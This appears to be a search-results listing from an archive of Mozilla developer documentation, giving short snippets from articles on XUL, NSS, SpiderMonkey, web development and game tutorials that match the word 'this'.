this means that creating any sort of visual display (not necessarily "ui"; my use case is for creating a calendar time display) that sizes sanely when the user resizes the window is unfortunately very difficult.
...
this trick doesn't work in 1.4, but works in 1.7 and current versions.
...And 3 more matches
Code Samples - Archive of obsolete content
this page contains sample code that you can use with the custom toolbar button tutorial.
...launch a file on your computer to launch a file on your computer, use code like
this.
...const path = "c:\\windows\\charmap.exe" var file = components .classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile) file.initwithpath(path) file.launch() open a web page if your button is in firefox or seamonkey, use code like
this to open a web page.
...And 3 more matches
Accesskey display rules - Archive of obsolete content
this document describes the rules of generating a label text.
...
this document calls the appended text "accesskey text".
...
this is controled by "intl.menuitems.insertseparatorbeforeaccesskeys" pref value.
...And 3 more matches
Features of a Window - Archive of obsolete content
we'll look at some more in
this section.
...
this function will return a reference to the newly opened window.
... you can use
this reference to call functions of the other window.
...And 3 more matches
Open and Save Dialogs - Archive of obsolete content
this function takes three arguments, the window that is opening the dialog, the title of the dialog and the mode.
...
this would be used, for example, to hide all but .html files.
...if you do not set
this, a suitable default will be selected for you.
...And 3 more matches
XUL Changes for Firefox 1.5 - Archive of obsolete content
this lists the most notable changes to xul in firefox 1.5 (gecko 1.8).
...
this element works similarly to the <listbox> which is designed primarily for lists of textual items.
...setting
this property changes the default button of the dialog.
...And 3 more matches
caption - Archive of obsolete content
attributes accesskey, crop, image, label, tabindex properties accesskey, crop, image, label, tabindex examples <groupbox> <caption label="my groupbox"/> </groupbox> <groupbox flex="1"> <caption> <checkbox label="a checked groupbox"/> </caption> </groupbox> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
...if you wish to use the value none and the displayed text is larger than
this maximum width, you may be able to use the max-width css property (or the maxwidth attribute) to override
this size.
...And 3 more matches
Application Update - Archive of obsolete content
this article will hopefully explain how to update your xulrunner application using the same method that firefox, thunderbird, songbird, and chatzilla use.
...application: branding the update process uses branding information, setup branding for your application as described here: xulrunner tips icons the updater process for linux systems requires updater.png to be in your <application folder>/icons/, see https://bugzilla.mozilla.org/show_bug.cgi?id=706846 preferences // whether or not app updates are enabled pref("app.update.enabled", true); //
this preference turns on app.update.mode and allows automatic download and // install to take place.
... we use a separate boolean toggle for
this to make // the ui easier to construct.
...And 3 more matches
Building XULRunner with Python - Archive of obsolete content
this page describes how to build and use xulrunner with the python extension on windows and while generally useful it is written based on experiences with accessibility projects.
...
this gives access to python features and modules and builds on mark hammond's pyxpcom work from active state.
...
this page provides instructions in the hope of eliminating much trial and error.
...And 3 more matches
Dialogs in XULRunner - Archive of obsolete content
« previous the last article in
this series covered some simple xul for creating windows, menus, and toolbars.
...
this time i'll look at dialogs, including both custom dialogs and standard operating system dialogs.
...here is the code needed to open a dialog: function opendialog() { window.opendialog("chrome://basicapp/content/dialog.xul", "newdlg", "modal"); } the resulting dialog looks like
this on windows 2000, and will look similar on other operating systems: the first thing that caught my eye about dialog is the button-related attributes on the element.
...And 3 more matches
NPClass - Archive of obsolete content
this is set to np_class_struct_version, which is 1 in mozilla 1.8.*, 2 since mozilla 1.9a1, and 3 since firefox 3.0b1.
...
this function is expected to allocate and return enough storage to hold the npobject that is being created.
...if
this field is null, free() is called isntead.
...And 3 more matches
NPN_GetValue - Archive of obsolete content
syntax #include <npapi.h> nperror npn_getvalue(npp instance, npnvariable variable, void *value); parameters
this function has the following parameters: instance pointer to the current plug-in instance.
... npnvdocumentorigin: the value for
this variable is the unicode serialization of the origin converted to nfkc-encoded (normalized) utf-8.
... memory for
this string must be freed by the plugin via npn_memfree().
...And 3 more matches
NPN_Write - Archive of obsolete content
this number depends on the size of the browser's memory buffers, the number of active streams, and other factors.
...
this indicates that the browser encountered an error while processing the data, so the plug-in should terminate the stream by calling npn_destroystream().
...a plug-in can call
this function multiple times after creating a stream with npn_newstream().
...And 3 more matches
NPP_NewStream - Archive of obsolete content
the plugin should set
this value to request a mode for the stream.
... for more information about each of these values, see directions in
this section.
... implementation note: some plugins, notably silverlight, do not set
this outparam, and rely on the outparam being initialized to a default np_normal value.
...And 3 more matches
-ms-scroll-translation - Archive of obsolete content
remarks
this property requires windows 8 or later.
...
this property has no effect on non-scrollable elements.
...
this property enables you to change
this behavior for vertical scroll events.
...And 3 more matches
Archived JavaScript Reference - Archive of obsolete content
this property has been removed and no longer works.array comprehensionsthe array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one.
...however,
this api has been deprecated and removed from browsers.
...
this operation leaves oldbuffer in a detached state.date.prototype.tolocaleformat()the non-standard tolocaleformat() method converts a date to a string using the specified formatting.
...And 3 more matches
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
while
this bug was corrected shortly after 0.9.4 was finished, the bug still affects all netscape 6.2.x versions, as well as compuserve 7.0.
...
this is most obvious in ordered lists, where the number that precedes each list item may be obviously different than the content that follows it.
...the following rule is derived from mozilla's html.css file: *|*:-moz-list-bullet, *|*:-moz-list-number {font-size: 1em;}
this rule tells gecko-based browsers to use the computed value of font-size for the marker's parent, which is the list item itself.
...And 3 more matches
Game monetization - Game development
in-app purchases instead of having people pay for your game up front, you can offer a free game with in-app purchases (iaps.) in
this case the game can be acquired without spending a dime — give the game to the players, but offer in-game currency, bonuses or benefits for real money.
...the term "pay to win" was coined and
this approach is disliked by many players and devs.
... non-exclusive licenses
this approach is less strict — you can sell a license to multiple publishers.
...And 3 more matches
Crisp pixel art look with image-rendering - Game development
this article discusses a useful technique for giving your canvas/webgl games a crisp pixel art look, even on high definition monitors.
...two downsides to
this method are larger file sizes and compression artifacts.
... the css property to achieve
this scaling is image-rendering.
...And 3 more matches
WebRTC data channels - Game development
this article explains more about
this, and shows you how to use libraries to implement data channels in your game.
...in the context of a game,
this lets players send data to each other, whether text chat or game status information.
...
this is analogous to a tcp socket.
...And 3 more matches
asm.js - Game development
this article looks at exactly what is permitted in the asm.js subset, what improvements it confers, where and how you can make use of it, and further resources and examples.
...it pushes js engines to optimize
this kind of code, and gives compilers like emscripten a clear definition of what kind of code to generate.
...
this subset of javascript is already highly optimized in many javascript engines using fancy just-in-time (jit) compiling techniques.
...And 3 more matches
Tools for game development - Game development
on
this page you can find links to our game development tools articles, which eventually aims to cover frameworks, compilers, and debugging tools.
...
this is, of course, great for games.
...
this is a great tool for porting applications to the web!
...And 3 more matches
Collision detection - Game development
« previousnext »
this is the 7th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson7.html.
... it's our decision how to implement
this, of course, but it can be tough to calculate whether the ball is touching the rectangle or not because there are no helper functions in canvas for
this.
...And 3 more matches
2D breakout game using pure JavaScript - Game development
next » in
this step-by-step tutorial we create a simple mdn breakout game written entirely in pure javascript and rendered on html5 <canvas>.
... to get the most out of
this series of articles you should already have basic to intermediate javascript knowledge.
... after working through
this tutorial you should be able to build your own simple web games.
...And 3 more matches
Bounce off the walls - Game development
« previousnext »
this is the 6th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson06.html.
...in phaser
this can be easily accomplished using the collideworldsbound property.
...And 3 more matches
Build the brick field - Game development
« previousnext »
this is the 9th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson09.html.
...to begin with we've included the brickinfo object, as
this will come in handy very soon: function initbricks() { brickinfo = { width: 50, height: 20, count: { row: 3, col: 7 }, offset: { top: 50, left: 60 }, padding: 10 }; }
this brickinfo object will hold all the information we need: the width and height of a single brick, the number of row...
...And 3 more matches
Buttons - Game development
« previousnext »
this is the 15th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson15.html.
...add the following lines to the bottom of your create() function: startbutton = game.add.button(game.world.width*0.5, game.world.height*0.5, 'button', startgame,
this, 1, 0, 2); startbutton.anchor.set(0.5); the button() method's parameters are as follows: the button's x and y coordinates the name of the graphic asset to be displayed for the button a callback function that will be executed when the button is pressed a reference to
this to specify the execution context the frames that will be used for the over, out and down events.
...And 3 more matches
Game over - Game development
« previousnext »
this is the 8th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson08.html.
...add the code below inside the create() function; just after you define the ball's attributes is fine: game.physics.arcade.checkcollision.down = false;
this will make the three walls (top, left and right) bounce the ball back, but the fourth (bottom) will disappear, letting the ball fall off the screen if the paddle misses it.
...And 3 more matches
Load the assets and print them on screen - Game development
« previousnext »
this is the 3rd step out of 16 in the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson03.html.
...in
this article we'll look at how to add sprites into our gameworld.
...And 3 more matches
Scaling - Game development
« previousnext »
this is the 2nd step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson02.html.
... resize — creates the canvas with the same size as the available width and height, so you have to place the objects inside your game dynamically;
this is more of an advanced mode.
...And 3 more matches
The score - Game development
« previousnext »
this is the 11th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson11.html.
...in
this article we'll add a scoring system to our game.
...And 3 more matches
2D breakout game using Phaser - Game development
next » in
this step-by-step tutorial, we create a simple mobile mdn breakout game written in javascript, using the phaser framework.
... to get the most out of
this series of articles you should already have basic to intermediate javascript knowledge.
... after working through
this tutorial, you should be able to build your own simple web games with phaser.
...And 3 more matches
A cool-looking box - Learn web development
in
this assessment, you'll get some more practice in creating cool-looking boxes by trying to create an eye-catching box.
... prerequisites: before attempting
this assessment, you should have already worked through all the articles in
this module.
... starting point to get
this assessment started, you should: make local copies of the starting html and css — save them as index.html and style.css in a new directory.
...And 3 more matches
Test your skills: tables - Learn web development
the aim of
this task is to help you check your understanding of the skills you studied in the lesson on styling tables.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
...in
this task we are going to style the same table, but using some good practices for table design as outlined in the external article web typography: designing tables to be read not looked at.
...And 3 more matches
Test your skills: position - Learn web development
the aim of
this task is to get you working with the css position property and values covered in our lesson on position.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... positioning one in
this task you need to position the item with a class of target to the top and right of the container, which has the 5px grey border.
...And 3 more matches
Styling text - Learn web development
get started prerequisites before starting
this module, you should already have basic familiarity with html, as discussed in the introduction to html module, and be comfortable with css fundamentals, as discussed in introduction to css.
... guides
this module contains the following articles, which will teach you all of the essentials behind styling html text content.
... fundamental text and font styling in
this article we go through all the basics of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.
...And 3 more matches
How do you make sure your website works properly? - Learn web development
in
this article we go over various troubleshooting steps for a website and some basic actions to take in order to solve these issues.
...you won't see
this much in your browser, but it's good to know about "301" since search engines use
this information a lot to update their indexes.
...we'll discuss how to solve
this below.
...And 3 more matches
What is a web server? - Learn web development
in
this article, we explain what web servers are, how web servers work, and why they are important.
...at a minimum,
this is an http server.
...
this setup makes it easier to maintain and deliver the content.
...And 3 more matches
Test your skills: Form structure - Learn web development
this aim of
this skill test is to assess whether you've understood our how to structure a web form article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... form structure 1 in
this task we want you to structure the provided form features: separate out the first two and second two form fields into two distinct containers, each with a descriptive legend (use "personal details" for the first two, and "comment information" for the second two).
...And 3 more matches
Test your skills: HTML5 controls - Learn web development
this aim of
this skill test is to assess whether you've understood our the html5 input types article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
...create appropriate inputs for a user to update their details for: email website phone number favourite color try updating the live code below to recreate the finished example: download the starting point for
this task to work in your own editor or in an online editor.
...And 3 more matches
Publishing your website - Learn web development
this article explains how to get your simple sample code online with little effort.
...
this article doesn't attempt to document all the possible methods.
... many professional websites go online
this way.
...And 3 more matches
HTML Cheatsheet - Learn web development
bold some text <b>bold a word or phrase</b>within the text bold a word or phrase within the text mark text as important <strong>i'm important</strong> i'm important highlight some text <mark>notice me</mark> notice me draw a line through irrelevant text <s>i'm irrelevant</s> i'm irrelevant underline a non-textual annotation
this is <u>mispelled</u>
this is mispelled text displayed lower than normal text h<sub>2</sub>o h2o small text used to represent the <small>small print </small>of a document used to represent the small print of a document used for an address <address>main street 67</address> main street 67 used for a textual cite <cite>lorem ipsum</cite> lo...
... a line break line 1<br>line 2 line 1 line 2 suggesting a line break it is used to suggest the browser to cut the text on
this site if </wbr>there is not enough space to display it on the same line it is used to suggest the browser to cut the text on
this site if there is not enough space to display it on the same line date in readable form it is used to format the date legibly for the user, such as: <time datetime="2020-05-24" pubdate>published on 23-05-2020</time> it is used to format the date legibly for the user, such ...
...as: published on 23-05-2020 text displayed in code format <p>
this text is in normal format.</p> <code>
this text is in code format.</code> <pre>
this text is in predefined format.</pre>
this text is in normal format.
...And 3 more matches
Define terms with HTML - Learn web development
in
this article, we'll cover how to properly mark up keywords when you're defining them.
...dictionaries and glossaries formally associate keywords with one or more descriptions, as in
this case: blue (adjective) of a color like the sky in a sunny day.
...however,
this is not an acceptable alternative for providing an inline expansion.
...And 3 more matches
Assessment: Structuring planet data - Learn web development
prerequisites: before attempting
this assessment you should have already worked through all the articles in
this module.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... the finished table should look like
this: you can also see the example live here (no looking at the source code — don't cheat!) steps to complete the following steps describe what you need to do to complete the table example.
...And 3 more matches
Structuring the web with HTML - Learn web development
get started prerequisites before starting
this topic, you should have at least basic familiarity with using computers and using the web passively (i.e.
... it is recommended that you work through getting started with the web before attempting
this topic, however, it isn't absolutely necessary; much of what is covered in the html basics article is also covered in our introduction to html module, albeit in a lot more detail.
...xt size and fonts used, add borders and drop shadows, layout your page with multiple columns, add animations and other visual effects.) javascript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) modules
this topic contains the following modules, in a suggested order for working through them.
...And 3 more matches
JavaScript — Dynamic client-side scripting - Learn web development
after getting familiar with the basics of javascript, you should be in a position to learn about more advanced topics, for example: javascript in depth, as taught in our javascript guide web apis modules
this topic contains the following modules, in a suggested order for working through them.
... javascript building blocks in
this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events.
... you've seen
this stuff already in the course, but only in passing — here we'll discuss it all explicitly.
...And 3 more matches
CSS performance optimization - Learn web development
for
this reason, css is render blocking, unless the browser knows the css is not currently needed.
...to create a non-blocking css link, move the not-immediately used styles, such as print styles, into separate file, add a <link> to the html mark up, and add a media query, in
this case stating it's a print stylesheet.
...by separating out the css into multiple files, the main render-blocking file, in
this case styles.css, is much smaller, reducing the time that rendering is blocked.
...And 3 more matches
Chrome Worker Modules
this module loader should not surprise developers familiar with commonjs, as it implements a minimal commonjs require().
...you only need to do it once for each worker, from within the chrome worker itself: importscripts("resource://gre/modules/workers/require.js"); note: although you only need to do
this once for each worker, it doesn't hurt if you do it more than once.
...
this defines a global value require(), that you may now use as follows: // import the module // (here, we import the core of os.file) let core = require("resource://gre/modules/osfile/osfile_shared_allthreads.jsm"); // we may now use module core.
...And 3 more matches
Creating JavaScript callbacks in components
basically, the component defines an observer (or listener) interface which is implemented by some external code and
this implementation is passed to the component.
...here is a very simple example of the observer pattern: [scriptable, uuid(...)] interface stringparserobserver { void onword(string word); }; [scriptable, uuid(...)] interface stringparser { void parse(string data); void addobserver(stringparserobserver observer); }; in
this example, the stringparser will call the stringparserobserver.onword method whenever it finishes parsing a word found in the raw string data.
... here is an example of how to use the callback system: var wordhandler = { onword : function(word) { alert(word); } }; var stringparser = /* get a reference to the parser somehow */ stringparser.addobserver(wordhandler); stringparser.parse("pay no attention to the man behind the curtain"); you can find examples of
this pattern all over the mozilla codebase.
...And 3 more matches
Gecko Logging
this makes it much simpler to share a log module across multiple translation units.
...
this should not be used directly in code.
... set moz_log="example_logger:3" in the windows command prompt (cmd.exe), don't use quotes: set moz_log=example_logger:3 if you want
this on geckoview example, use the following adb command to launch process: adb shell am start -n org.mozilla.geckoview_example/.geckoviewactivity --es env0 "moz_log=example_logger:3" there are special module names to change logging behavior.
...And 3 more matches
Interface Compatibility
one exception to
this rule is apis which are explicitly shipped with mozilla prefixes as a technology preview.
...
this includes css properties that begin with the -moz- prefix (e.g.
...achieving
this compatibility may require rebuilding the extension with a new version of the jetpack sdk.
...And 3 more matches
Index
8 experimental features in firefox experimental, firefox, preferences, features
this page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary.
... 168 performance best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, performance
this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... 169 privacy privacy, security
this document lists privacy-related documentation.
...And 3 more matches
Communicating with frame scripts
this is an intentional design decision made to prevent content code from making chrome code unresponsive.
... target the xul <browser> element from which
this message was sent.
...endasyncmessage() in the example below the listener just logs all the messages details: // chrome script messagemanager.addmessagelistener("my-addon@me.org:my-e10s-extension-message", listener); function listener(message) { console.log(message.name); console.log(message.sync); console.log(message.data); console.log(message.target); console.log(message.objects); } so combining
this message listener with the message above will give console output somewhat like
this, when the user clicks a <div>: "my-addon@me.org:my-e10s-extension-message" false object { details: "they clicked", tag: "div" } <xul:browser anonid="initialbrowser" ...
...And 3 more matches
overflow-clip-box
non-standard
this feature is non-standard and is not on a standards track.
...prior to firefox 29,
this behavior was hardcoded; since then it uses
this property that can be used elsewhere too.
... note that
this property is activated by default only in the ua stylesheet and chrome contexts.
...And 3 more matches
Roll your own browser: An embedding how-to
warning:
this document is out of date.
...contained within
this directory are a couple of makefiles: basebrowser-unix basebrowser-win the xpinstall packager follows the same format.
...
this will produce a directory in dist named embed.
...And 3 more matches
How to get a stacktrace for a bug report
this article describes how to use the mozilla crash reporter (breakpad) to get a crash id, which our engineers can use to get a stacktrace, and alternative ways to get a stacktrace if you can't get a crash id.
...
this helps engineers determine whether a particular extension or plugin is the cause of the crash.
...be sure that you check the "tell mozilla about
this crash" checkbox and click the restart button.
...And 3 more matches
API-provided widgets
this document details the available properties.
... overflows whether widget can overflow when in an overflowable toolbar (optional, default: true) defaultarea default area to add the widget to (optional, default: none; required if non-removable) shortcutid id of an element that has a shortcut for
this widget (optional, default: null).
...
this is only used to display the shortcut as part of the tooltip for builtin widgets (which have strings inside customizablewidgets.properties).
...And 3 more matches
Translation phase
this is where the technical aspect of the process begins to divide.
...
this tool includes workspaces for translating strings, reviewing string submissions, and project dashboards.
...if that is the case, then
this section is for you!
...And 3 more matches
Writing localizable code
this page tells you about best practices and guidelines when dealing with ui code with respect to localization.
...
this will more likely be a good key name, and it will help tools to pick up that the change you do is different from just a spell fix.
...there are few exceptions to
this rule, but in general, the localized file should comply with standards and should not require build tools to be transformed.
...And 3 more matches
Mozilla Framework Based on Templates (MFBT)
therefore
this document primarily attempts to direct readers to the correct file to read those comments.
... feel free to file a documentation bug if you think
this approach could be improved, and feel free to make improvements to
this document if you see them.
...
this header also provides a useful "hook" for embeddings that must customize the types underlying the fixed-size integer types.) types.h includes standardinteger.h and further provides size_t.
...And 3 more matches
Basics
mathml basics
this document illustrates some basic mathml constructions.
...
this demo has been made to illustrate the following aspects.
... you can right-click on any math fragment of interest throughout
this document.
...And 3 more matches
Mozilla Web Services Security Model
overview (
this document is being compiled from scattered documentation and source code and most of the information in it has not been verified.
...they do
this by creating a file called web-scripts-access.xml in the root of the server that grants permission for other domains to access web services.
...
this element must have either one delegate element child or any number (0 or more) of allow element children.
...And 3 more matches
Memory Profiler
this article details how to use an old profiler specifically designed for firefox os devices.
...
this is helpful in exploring the relationships among objects and identifying memory leaks.
... however, the information exposed in
this way is usually a snapshot and the history of how memory has been used goes missing.
...And 3 more matches
Profiling with the Gecko Profiler and Local Symbols on Windows
in the past you had to need to run mach buildsymbols manually, but
this is no longer needed.
... you probably need a 64 bit build of firefox for
this to work, though.
... it looks like we consume too much memory when creating the symbol table for
this to work in 32 bit firefox builds.
...And 3 more matches
Phishing: a short definition
this email will usually contain a link pretending to lead to the original service, but in reality, taking the victim to an attacker-controlled website.
...
this too, includes missing https or ev certificate indicators in a browser’s navigation bar.
...the user then enter
this pin after the web service verifies the username and password.
...And 3 more matches
L20n HTML Bindings
this makes it possible to use l20n in conjunction with mvc frameworks.
... <script type="application/l10n-data+json"> { "newnotifications": 3, "user": { "name": "jane", "gender": "feminine" } } </script>
this data will be available context-wide to all localized strings.
... <invited[$user.gender] { feminine: "{{ $user.name }} has invited you to her circles.", masculine: "{{ $user.name }} has invited you to his circles.", *unknown: "{{ $user.name }} has invited you to their circles." }> based on the context data defined above,
this will produce: jane has invited you to her circles.
...And 3 more matches
Midas editor module security preferences
this functionality is completely removed since 2013-12-14 18:23 pst, see: bugs 38966 and 913734 note: if you've reached
this page from a message box in firefox or another mozilla product, try using keyboard shortcuts for the cut, copy, and paste commands: copy: ctrl+c or ctrl+insert (command+c on mac) paste: ctrl+v or shift+insert (command+v on mac) cut: ctrl+x or shift+delete (command+x on mac) the information on the rest of
this page is for web developers and advanced users.
... please do not try to modify
this page.
...
this means that the corresponding buttons on the mozilla rich text editing demo page will not work.
...And 3 more matches
Nonblocking IO In NSPR
typically,
this central thread invokes <tt>pr_poll()</tt> on a set of nonblocking file descriptors.
...
this is not a serious constraint as one can assume that disk i/o never blocks.
... fundamentally,
this constraint is due to the fact that nonblocking i/o and <tt>select()</tt> are only available to sockets on some platforms (e.g., winsock).
...And 3 more matches
NSS 3.12.5 release_notes
new in nss 3.12.5 ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about
this security vulnerability.
...
this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
...by setting
this environmental variable, the fix provided by these patches will have no effect and the application may become vulnerable to the issue.
...And 3 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
generates encryption/mac keys and outputs public key as pkcs11 certificate signing request /*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...fprintf(pr_stderr, "unable to read data from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe
this is a mac file */ if (body) trail = strstr(++body, trailer); if (trail != null) { *trail = '\0'; } else { pr_fprintf(pr_stderr, "input has header but no trailer\n"); port_free(filedata.data); rv = secfailure; goto cleanup; } } else { /* headers didn't exist */ c...
...And 3 more matches
NSS Sample Code sample6
* to decrypt, you need the ciphertext and the id of the key that was used * to encrypt * * before running
this example, create the nss database * certutil -n -d .
...
this example happens to use an * integer */ void genkey(int id); /*
this callback is responsible for returning the password to the nss * key database.
... for example purposes,
this function hardcodes the password.
...And 3 more matches
sample2
/*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... filetoitem(&filedata, file); nonbody = (char *)filedata.data; if (!nonbody) { pr_fprintf(pr_stderr, "unable to read data from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe
this is a mac file */ if (body) trail = strstr(++body, trailer); if (trail != null) { *trail = '\0'; } else { pr_fprintf(pr_stderr, "input has header but no trailer\n"); port_free(filedata.data); rv = secfailure; goto cleanup; } } else { /* headers didn't exist */ char *trail = null; body = nonbody; if (body) { trail = strstr(++body, trailer); if (trail != null) { pr_fprintf(pr_stderr, "input has no h...
...And 3 more matches
nss tech note2
to enable
this mode, set: nspr_log_modules=nss_mod_log:1 nspr_log_file=<logfile> the output format is: osthreadid[nsprthreadid]: c_xxx osthreadid[nsprthreadid]: rv = 0xyyyyyyyy for example, 1024[805ef10]: c_initialize 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getinfo 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getslotlist 1024[805ef10]: rv = 0x0 2.
...to enable
this mode, set: nspr_log_modules=nss_mod_log:3 nspr_log_file=<logfile> the output format is: osthreadid[nsprthreadid]: c_xxx osthreadid[nsprthreadid]: arg1 = 0xaaaaaaaa ...
...x0 1024[805ef10]: c_getinfo 1024[805ef10]: pinfo = 0xbffff340 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getslotlist 1024[805ef10]: tokenpresent = 0x0 1024[805ef10]: pslotlist = 0x0 1024[805ef10]: pulcount = 0xbffff33c 1024[805ef10]: *pulcount = 0x2 1024[805ef10]: rv = 0x0 note that when a pkcs #11 function takes a pointer argument for which it will set a value (c_getslotlist above),
this mode will display the value upon return.
...And 3 more matches
NSS_Initialize
this is necessary if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, the java sunpkcs11 provider.
...
this is necessary if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, java sunpkcs11 provider.
...
this may be necessary in order to ensure continuous operation and proper shutdown sequence if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, java sunpkcs11 provider.
...And 3 more matches
troubleshoot.html
troubleshooting nss and jss builds newsgroup: mozilla.dev.tech.crypto
this page summarizes information on troubleshooting the nss and jss build and test systems, including known problems and configuration suggestions.
... if you have suggestions for
this page, please post them to mozilla.dev.tech.crypto.
... if the build fails early on the gmakein coreconf try updating your cvs tree with -p: cd mozilla cvs update -p building a 32-bit version on a 64-bit may fail with: /usr/include/features.h:324:26: fatal error: bits/predefs.h: no such file or directory in
this case remember to set use_64=1 testing nss the ssl stress test opens 2,048 tcp connections in quick succession.
...And 3 more matches
NSS_3.12.3_release_notes.html
the information in
this table is excerpted from https://developer.mozilla.org/en/nss_reference/nss_environment_variables environment variable value type description nsrandcount integer (byte count) sets the maximum number of bytes to read from the file named in the environment variable nsrandfile (see ...
...
this was allowed by default before nss 3.12.3.
...see documentation at
this link.
...And 3 more matches
NSS tools : pk12util
this option is provided as a special case.
...
this must be saved as a der file.
... pk12util -l p12file [-h tokenname] [-r] [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] for example,
this prints the default ascii output: # pk12util -l certs.p12 enter password for pkcs12 file: key(shrouded): friendly name: thawte freemail member's thawte consulting (pty) ltd.
...And 3 more matches
Necko Architecture
warning: the content of
this article may be out of date.
... architecture after a few iterations of our original design, the current necko architecture looks something like
this: urls necko's primary responsibility is moving data from one location, to another location.
...
this layer is the protocol handler layer.
...And 3 more matches
The Necko HTTP module
notes class overview
this document provides an overview of the classes used to implement the http module.
... transaction model
this document describes the lifetime of a http transaction, the threads involved, and the relevant objects.
... pipelining faq
this document gives an overview of http/1.1 pipelining by answering some frequently asked questions.
...And 3 more matches
Proxies in Necko
this means that callers can just create an nsichannel, not needing to worry about whether the channel will use a proxy or not the basic interfaces for proxies are: nsiproxyinfo, nsiprotocolproxyservice, and nsiproxiedprotocolhandler nsiproxyinfo is a simple helper which stores information about the type of the proxy, its host and its port.
...
this works by examining the protocolflags of the protocol handler for the given uri.
... if
this protocol handler does not support proxies, resolve returns null.
...And 3 more matches
Rhino overview
in browser embeddings,
this language version is selected using the language attribute of the script tag with values such as "javascript1.2".
...
this will provide rhino the support functionality it needs to perform security-related tasks.
...the value of
this property can be determined at runtime by calling the issecuritydomainrequired method of context.
...And 3 more matches
Shumway
this article will help you understand shumway — mozilla's open standards-based flash renderer — and what it means for the community of developers currently creating the adobe flash platform.
...the simple method is to install the shumway extension (or run a browser version with shumway included and enabled) and browse to your flash content with adobe flash player set "ask to activate" or "never activate" in firefox's add-ons menu (
this will be listed as "shockwave flash" under the plugins tab).
...
this will be the experience met by your users who are running that version of shumway.
...And 3 more matches
Functions
when with or eval are used, we have to do
this for correctness.
...
this is slow, not only because walking the scope chain is a drag, but also because we'd rather avoid actually creating the scope chain at all, if possible.
...so we optimize
this when we can.
...And 3 more matches
JS::Add*Root
obsolete since jsapi 38
this feature is obsolete.
...
this article covers features introduced in spidermonkey 31 register a variable as a member of the garbage collector's root set, to protect anything the root points at from garbage collection.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 3 more matches
JS::Call
this article covers features introduced in spidermonkey 17 call a specified js function.
... syntax bool js::call(jscontext *cx, js::handleobject
thisobj, js::handlefunction fun, const js::handlevaluearray &args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handleobject
thisobj, const char *name, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handleobject
thisobj, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue
thisv, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue
thisv, js::handleobject funobj, const js::handlevaluearray& args, js::mutablehandlevalue rval); name type description ...
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 3 more matches
JS::Evaluate
this article covers features introduced in spidermonkey 17 compile and execute a script.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this parameter is documented in detail at js_executescript.
...And 3 more matches
JSNative
in js_threadsafe builds, the javascript engine calls
this callback only from within an active request on cx.
... vp js::value * the arguments, the
this argument, the return-value slot, and the callee function object are accessible through
this pointer using macros described below.
...
